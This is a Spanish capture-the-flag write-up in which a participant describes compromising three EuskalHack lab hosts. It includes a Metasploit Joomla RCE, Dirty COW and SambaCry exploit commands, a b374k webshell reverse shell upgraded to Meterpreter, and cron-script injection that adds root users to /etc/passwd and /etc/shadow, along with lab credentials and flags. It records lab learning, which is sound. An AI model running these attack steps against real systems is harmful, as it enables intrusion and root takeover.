CTF EuskalHack- Fase2

Jokin Astobiza
jokinau@gmail.com

Primero me gustaría agradecer a todas la organización y colaboradores por la oportunidad de disfrutar del CTF una vez más. Es solo mi segunda participación en una CTF, y lo más similar que he hecho fue el curso de Hacking Ético de Mondragon Unibertsitatea, así que probablemente mi trabajo no sea ni el mejor, ni el más organizado! Ánimo!

Me hubiera gustado haber trabajado en equipo para aprender de los demás, pero no pudo ser y estoy orgulloso de todo lo que he progresado en unos días, he aprendido mucho con lo motivado que estaba!

Mi primera batalla fue, durante unas horas, **cómo accedo a la plataforma?**! Debería de ser fácil, pero me costó…

Utilicé una máquina virtual Kali 2008.2 sobre Windows 10. Hice la instalación, actualización, y parecía que todo iba bien, pero el software para VPN **printunl** se me resistió. Al final pasé de él y me hice mi pequeño script en Bash para acceder.

```
#!/bin/bash
rm './*.zip' './VPN44_-hack&+beers_VPN44.ovpn'
echo "New zip file's link: "
read newconfig
wget "$newconfig"
unzip './*.zip'

# sudo apt install network-manager-openvpn-gnome openvpn-systemd-resolved
nmcli connection delete VPN44_-hack\&+beers_VPN44
nmcli connection import type openvpn file VPN44_-hack\&+beers_VPN44.ovpn
nmcli connection up VPN44_-hack\&+beers_VPN44
#nmcli connection show VPN44_-hack\&+beers_VPN44
sudo route del -net 0.0.0.0 gw 0.0.0.0 tap0
route
```

Cada vez que me caducaba la VPN, pegaba aquí la URL y con poco más se conectaba.

Bueno, ya estoy dentro!

Host1, 10.44.0.150, Betria

Visto el portal web y los escaneos iniciales, parece que hay 3 equipos. Servidores, deduzco. Linux, supongo.

No creo que sea importante no dejar huellas/pistas, así que inicialmente un poco de análisis *a la vieja usanza*, visitando los servicios.

El primer host 10.44.0.120 tiene servidor web. Analizando el código HTML parece que tenemos Joomla por detrás. Su típica página de versión http://10.44.0.150/administrator/manifests/files/joomla.xml nos indica que Joomla v3.4.4

Buscamos por https://www.exploit-db.com/ y parece que esa versión puede ser susceptible de algún ataque de ejecución remota RCE. Promete.

Típica página de acceso de Joomla funciona, http://10.44.0.150/administrator/

Algo de info de los puertos/servicios...

```
amap -B 10.44.0.150 1-65535
    Banner on 10.44.0.150:22/tcp : SSH-2.0-OpenSSH_6.6.1\r\n
    Banner on 10.44.0.150:3306/tcp : R\n5.5.52-MariaDBcl#o,
    (#tC3re&+BM>+]rmysql_native_password
```

Probemos esto de Metasploit, a ver si soy capaz de utilizarlo con alguna habilidad, o clavo tornillos con martillo… Es la primera vez que tocaba Metasploit, que siempre lo había querido pero no me había animado…

Bueno, algunos pequeños problemas en Kali: PostgreSQL no arranca, algunos permisos… bueno, ya estoy dentro. Parece que esto va por línea de consola (como me gusta), módulos, parámetros… Sencillo de entender, a ver si sencillo de utilizar…

Mucho *help*, *show info*, *show options*, *set porras*, y siempre *run* (*exploit* suena muy fuerte, y como son sinónimos…). Buscamos los módulos con *search joomla, search name:joomla…* Seguro que con eso puedo hacer progresos. Y si no, **search -h**!!

```
search name:joomla
use multi/http/joomla_http_header_rce
show info
set host 10.44.0.150
show options
run
```

Y pum, ya tenemos una shell como www-data!! <insertear aquí emoticono de asombro>

```
ls -la, cd, pwd, whoami, netstat…
cat /var/www/users.txt
bob:qUXSMmigBjqtlPL4GMIb
```

BAM! Ya tenemos la primera flag, acceso básico! (oeeeeeeeeeeee). Tengo que admitir que he dramatizado un poco, necesité unas cuantas horas para llegar aquí, pero no era tan televisivo…

```
creds add user:bob password:qUXSMmigBjqtlPL4GMIb address:10.44.0.150 port:22
protocol:tcp service-name:ssh
```

Logueamos por SSH con esas credenciales, y vemos que recibe muchos errores en el email...

```
crontab -e
*/5 * * * * root /home/aspera/my_script.sh
*/5 * * * * root /var/www/html/backup.sh > /var/www/html/log.txt
*/2 * * * * root /usr/bin/who >> /home/bob/Prueba.txt
```

Se podrá modificar algun script de ellos? Para algo útil?

python -c 'import pty; pty.spawn("/bin/bash")'

Obtenemos credenciales de mysql con el fichero de configuración de joomla:

```
cat /var/www/html/configuration.php
```

Buenos, empezemos a hacer algo más de ruido:

```
db_nmap -v -sV 10.44.0.150
```

(vale, me dí cuenta **tarde** que podía haber escaneado toda la red con *db_nmap -v -sV 10.44.0.150*)

Diferentes módulos de *search portscan* ayudan a completar la información. Probemos algo de mysql… Casi todos los módulos relacionados comparten los siguientes parámetros:

```
search name:mysql
use ……..
show options
set RHOSTS 10.44.0.150
set RPORT        3306
set USERNAME root
set PASSWORD root
set DATABASE_NAME joomla
set THREADS 10
run
```

Un poco de mysql a la vieja usanza, desde la línea de comandos...

```
mysql -u root -proot -e "show databases;"
joomla
mysql
mysql -u root -proot joomla -e "select * from users"
mysql -u root -proot mysql -e "show tables;"
mysql -u root -proot joomla -e "show tables;"
```

Vamos a intentar acceder a los ficheros que el usuario mysql tiene acceso pero bob no (*/var/lib/mysql/*)

```
CREATE TABLE IF NOT EXISTS jokinau (contents longtext not null);
LOAD DATA INFILE '/var/lib/mysql/Grus.err' INTO TABLE jokinau;
select * from jokinau;
delete from jokinau;
drop table jokinau;
```

Voy recorriendo todos los ficheros pero no encuentro nada que vea práctico… Era para despistar, o no soy capaz de verlo? Supongo que lo segundo…

Esa versión de MariaDB se supone que es vulnerable de un un ataque de elevación de privilegios, pero mis intentos parecen indicar que necesito ejecutarlo como el usuario mysql ya que es quien tiene acceso a los logs vulnerables. Pero no consigo suplantarlo con mis recursos...

Del .bash_history de bob sacamos posibles usuarios para ssh (alice, bob, root), que se podrán probar con auxiliary/scanner/ssh/ssh_enumusers, entre otros. Resulta que sí, BIEN! Pero no consigo sus contraseñas...

De la carpeta *home* del amigo Bob vemos que cat /home/bob/exploiting.txt muestra

> usuario: level1
> password: level1
> Conectate por SSH.
> $ ssh level1@54.36.134.37 -p1337

Accedo y al loguearnos muestra

> Nota: No hay mas retos en la plataforma aunque ponga level1. ASLR está activado.

Tiene pinta de ser el apartado *Exploiting*, de lo que no sé nada, y el tiempo dedicado no me ha servido para adelantar nada. Necesito iniciarme en el tema, algo de gdb-peda...

Just in case:

> creds add user:level1 password:level1 address:54.36.134.37 port:1337 protocol:tcp service-name:ssh

Por si las moscas busco ficheros en los que el buen Bob tenga acceso de escritura, a ver si hay algún vector de ataque un poco evidente… *Alexa, busca desde la raíz del disco duro los ficheros y directorios en los que bob, su grupo o todo el mundo tenga acceso de escritura, mostrándolos por pantalla y guardándolos en un fichero:*

```
find / '(' -type f -or -type d ')' \
     '(' '(' -user  bob -perm -u=w ')' -or \
        '(' -group bob -perm -g=w ')' -or \
        '('            -perm -o=w ')' ')' -print \
        | tee /tmp/bob-writable.txt
```

Nada, no encuentro nada…

Por otro lado parece que esa versión de Linux es susceptible de dirtycow, pero a pesar de intentarlo de varias maneras, códigos y perspectivas no consigo vulnerarlo:

> wget https://www.exploit-db.com/download/40611 -O dirtyc0w.c
> En la victima:
> gcc -pthread dirtyc0w.c -o dirtyc0w
> ./dirtyc0w foo m00000000000000000
>
> wget https://github.com/FireFart/dirtycow/raw/master/dirty.c
> gcc -pthread dirty.c -o dirty -lcrypt

```
/tmp>./dirty
Please enter the new password: secret
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fihFGooMjxs4c:0:0:pwned:/root:/bin/bash

mmap: b778a000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'secret'.
No, es mentira, no va!
```

A pesar de muchas horas no consigo más acceso.

Host 2: 10.44.0.151

Siguiendo un proceso de identificación/escaneo similar al primer host, con entre otros:

```
amap -B 10.44.0.151 1-65535
        Banner on 10.44.0.151:22/tcp : SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze5\
        r\n
        Banner on 10.44.0.151:514/tcp : getnameinfo Temporary failure in name
        resolution\n
        Banner on 10.44.0.151:512/tcp : Where are you?\n
```

descubro que cosas como que tiene Apache/2.2.16 (Debian) en el puerto 80.

```
use auxiliary/scanner/http/dir_scanner
set rhosts 10.44.0.151
set threads 10
run

        [+] Found http://10.44.0.151:80/cgi-bin/ 404 (10.44.0.151)

        [+] Found http://10.44.0.151:80/icons/ 200 (10.44.0.151)
```

Poco consigo hacer y descubrir en esa web…

Parece que hay algo de SAMBA:

```
smbclient -L 10.44.0.151
        Anonymous login successful
            Sharename       Type      Comment
            IPC$            IPC       IPC Service (Avior server)
            print$          Disk      Printer Drivers

            Workgroup            Master
            BOB                  AVIOR
```

Algo más de luz por aquí...

```
nmap -p445 --script=smb-os-discovery 10.44.0.151
        PORT    STATE SERVICE
        445/tcp open  microsoft-ds
        MAC Address: 00:50:56:BE:4A:13 (VMware)

        Host script results:
        | smb-os-discovery:
        |   OS: Unix (Samba 3.5.6)
        |   NetBIOS computer name:
        |   Workgroup: BOB\x00
        |_  System time: 2018-06-21T12:31:34+01:00
```

Su SAMBA sería vulnerable a este expploit, pero necesito acceso básico, cosa que no tengo. Si lo consigo volveré.

https://www.exploit-db.com/exploits/42060/

https://github.com/opsxcq/exploit-CVE-2017-7494

./exploit.py -t 10.44.0.151 -e libbindshell-samba.so -s data -r /data/libbindshell-samba.so -u sambacry -p nosambanocry -P 6699

A ver qué hay por esos puertos *quinientos y pico*...

nc -v 10.44.0.151 512
10.44.0.151: inverse host lookup failed: Unknown host
(UNKNOWN) [10.44.0.151] 512 (exec) open
Where are you?
nc -v 10.44.0.151 513
10.44.0.151: inverse host lookup failed: Unknown host
(UNKNOWN) [10.44.0.151] 513 (login) open
nc -v 10.44.0.151 514
10.44.0.151: inverse host lookup failed: Unknown host
(UNKNOWN) [10.44.0.151] 514 (shell) open
getnameinfo: Temporary failure in name resolution

Pruebo rlogin directamente, desde el Host1 por si había algún filtro de IP, port forwarding, rezar, el tarot… pero nada.

Desde el host1:

nc -l -p 1513 -c "nc 10.44.0.151 513"

Kali:

rlogin -l root -p 1513 10.44.0.150

Kali:

nc -l -s 192.168.2.100 -p 513
nc -l -s 192.168.2.100 -p 513 -L 10.44.0.151:513 -vvv
nc -l -s 192.168.2.100 -p 513 -vv -e 'nc -v 10.44.0.151 513'
mkfifo /root/backpipe && nc -k -l 513 0</root/backpipe | nc 10.44.0.151 513 | tee /root/backpipe
nc -l -p 513 -c "nc 10.44.0.151 513"

Nada. *mueto*

history muestra algunas cosillas prometedoras...

34 scp -r /home/bob/RETOS/Ortosia/crypto_100.zip root@10.35.0.151:/home/crypto_100.zip
35 scp -r /home/bob/RETOS/Ortosia/reversing_300.zip root@10.35.0.151:/home/reversing_300.zip

72 telnet 10.44.0.151
73 nc -v 10.44.0.151 23

Pero que a la larga descubro que no me sirven para nada...

Host3: 10.44.0.152

Info, info info:

amap -B 10.44.0.152 1-65535
Banner on 10.44.0.152:23/tcp : #'
Banner on 10.44.0.152:22/tcp : SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3\r\n
Banner on 10.44.0.151:80 Apache/2.2.16 (Debian)

Vamos a mirar un poco del servidor web con Metasploit:

use auxiliary/scanner/http/dir_scanner
set rhosts 10.44.0.152
set threads 10
run
[*] Detecting error code
[*] Using code '404' as not found for 10.44.0.152
[+] Found http://10.44.0.152:80/1/ 404 (10.44.0.152)
[+] Found http://10.44.0.152:80/backup/ 404 (10.44.0.152)
[+] Found http://10.44.0.152:80/icons/ 404 (10.44.0.152)
[+] Found http://10.44.0.152:80/manual/ 200 (10.44.0.152)

Y navegando *a mano* por esas carpetas descubro cosas interesantes y prometedoras:

http://10.44.0.152/1/b374k.php Parece un backdoor b374k con password b374k
http://10.44.0.152/info.php
http://10.44.0.152/backup/backup.zip es una copia renombrada de /etc/passwd

Accedemos por la webshell de b374k

cat /home/alice/secret.txt:
dRA6cOyOWhjJ9Fony9nr6V0TCSwCid5p

Bingo! He encontrado la flag de acceso básico del tercer servidor! Y esta vez ha sido más divertido!
A ver si soy capaz de crear una shell inversa CON METERPRETER:

use exploit/multi/handler
set lhost 10.44.0.205
set lport 4444
payload/linux/x64/meterpreter/reverse_tcp
run

En b374k vamos a Network, y en Reverse Shell cambiamos el puerto a 4444 y le damos a RUN

La shell funciona! A ver si soy capaz de convertir la webshell *justita* del backdoor en Meterpreter… Doy Ctrl-Z para poner la sesión en background...

use post/multi/manage/shell_to_meterpreter
set LPORT 13123
sessions
set session 1
run

Da algunos problemas, pero parece que estaba complicando lo sencillo. Solo tenía que hacer *session* para listar las sesiones (solo había una), y entonces

```
session -u 1
```

De la carpeta /home/alice/ reviso forppc_200puntos.zip me encantó desarrollar mi programita para resolverlo. No se apenas programar, pero ha sido una delicia. Mi código en python:

```
#!/usr/bin/python

import socket
import struct
import sys

def beep():
	print "\a"

def cheatsizes():
	print "b", str(struct.calcsize("b")) #1
	print ">I", str(struct.calcsize(">I")) #4
	print "<I", str(struct.calcsize("<I")) #4
	print "I", str(struct.calcsize("I")) #4
#cheatsizes()

HOST = '54.36.134.37'
PORT = 2323
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print 'Received', repr(data)
print "Sending 'OKOK'"
s.send('OKOK')
data = s.recv(1024)
print 'Received', repr(data)
print "Sending 'BotMajoTeInvitaAjugarrrr'"
s.send('BotMajoTeInvitaAjugarrrr')

for i in range(1, 50):
	print '****** Ronda ', i,'******'
	data = s.recv(1024)
	#print 'Received: %r' % data

	#print "Iniciador (14): ", struct.unpack("b", data[0])[0]

	operacion = struct.unpack("b", data[1])[0]
	if operacion == 0x01:
		operando = "+"
	if operacion == 0x29:
```

```
                operando = "-"

            a = struct.unpack(">I", data[2:6])[0] #little-endian unsigned int

            b = struct.unpack("<I", data[6:10])[0] #big-endian unsigned int


            if operacion == 0x01:
                total = a + b
                solucion = struct.pack("I", (a + b))
            if operacion == 0x29:
                total = a - b
                solucion = struct.pack("I", (a - b))
            print "Eval: " + str(a), operando, str(b)

            sys.stdout.write("Sending '" + str(total) + "'\n")
            s.send(solucion)


        print '**********************'
        data = s.recv(1024)
        print 'Received: %r' % data
        print '**********************'

        s.close()
        beep()
```

```
find /tmp/ -user www-data -exec rm -fr {} \;

find /home/alice/ -user www-data -exec rm -fr {} \;
```

Listando los ficheros y carpetas con escritura para www-data, han aparecido:

```
/dev/mqueue

/dev/shm

/etc/cron.daily/scriptStart

/run/lock

/run/lock/apache2

/var/cache/apache2/mod_cache_disk

/var/lib/php/sessions
```

A ver si puedo aprovecharme de /etc/cron.daily/scriptStart, escribiendo instrucciones para crearme DOS (a falta de uno) usuarios root

```
# https://pipefish.me/2010/11/02/add-a-user-with-root-privileges-non-interactively/
echo "echo 'test:x:0:0::/tmp:/bin/bash' >> /etc/passwd" >> /etc/cron.daily/scriptStart
echo "echo
'test:$6$aae8qp/j$r0c.HGGbDsIRRLc4x2htq588feJ3rsjzFvZOd/nawNkpA.D.kLzzAZA4Uh
fMc7zU8B13WuFu8oC8eKrXxaYxa/:14929:0:99999:7:::'>> /etc/shadow" >>
/etc/cron.daily/scriptStart
cat /etc/cron.daily/scriptStart

python -c "import crypt; print crypt.crypt('password','salt');" #sa3tHJ3/KuYvI
echo "useradd test2 -o -u 0 -g 0" >> /etc/cron.daily/scriptStart
echo "usermod -p 'sa3tHJ3/KuYvI' test2" >> /etc/cron.daily/scriptStart
cat /etc/cron.daily/scriptStart
```

Espero a la mañana siguiente a que se ejecute crob daily y BINGO!! No me deja SSH, pero vía wewbshell

su: must be run from a terminal

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

www-data@Hadir:/tmp$ su test2

su test2

Password: password

ls /root

secret.txt server.sh

cat secret.txt

cat secret.txt

well Done!! 7b0f81bdd2b24ba32cb27f6c16e6b900

no me deja ssh como root, así que creamos un usuario normal:

adduser test1

y después ya haremos su test2

Divertido, analizando /root/server.sh vemos que está lanzado un servidor web en localhost:8000. Si lo hubiera sabido... Nota: Si accedes aunque sea como www-data, escanea los puertos de localhost *siempre*, o al menos:

Conclusiones

En mi trabajo personal claramente tengo que ser más sistemático, organizado y saber rendir más, el ratio de horas dedicadas/resultado no ha sido para nada optimo. Necesito buscar un equipo que *me mantenga hambriento* (TM Steve Jobs), me guie, y comparta sus conocimientos.

Creo que EuskalHack y/o iHackLabs pudo haber anunciado antes el calendario del CTF para organizarnos:

- La primera fase fue exageradamente corta (de un viernes a un domingo, 48h). No todos tenemos un nivel muy alto, y creo que se tiene que ayudar al que no sabe a iniciarse.
- Además para la segunda tuve mi pequeño contratiempo de que el 13 fue mi cumple,y mi señora me sorprendió esa misma tarde con un estupendo viaje a Mallorca hasta el 17… Excusas aparte, si el coste de ampliarlo un poco no es astronómico seríamos muchos los que no tendríamos que elegir entre vida social o el Hacking!
- Ayer terminó el plazo del CTF a las 20:00, hoy todo el día con el congreso y hay que entregar el write up para la medianoche… muy justo!

Por último provecho para invitar a las dos partes mencionadas a organizar un *CTF para las ligas menores* que anime e oriente a los no tan iniciados.

Lo digo todo a buenas, agradeciendo de nuevo por este evento, la organización y la calidad de todo el proceso. La preparación y el rendimiento de las MV ha sido impecable, y heterogéneo. El mundo de las CTF es algo que empieza a engancharme gracias a EuskalHack, y en este caso a iHackLabs

Espero poder tener acceso al write up del equipo ganador, para poder ir leyendo y aprendiendo mucho!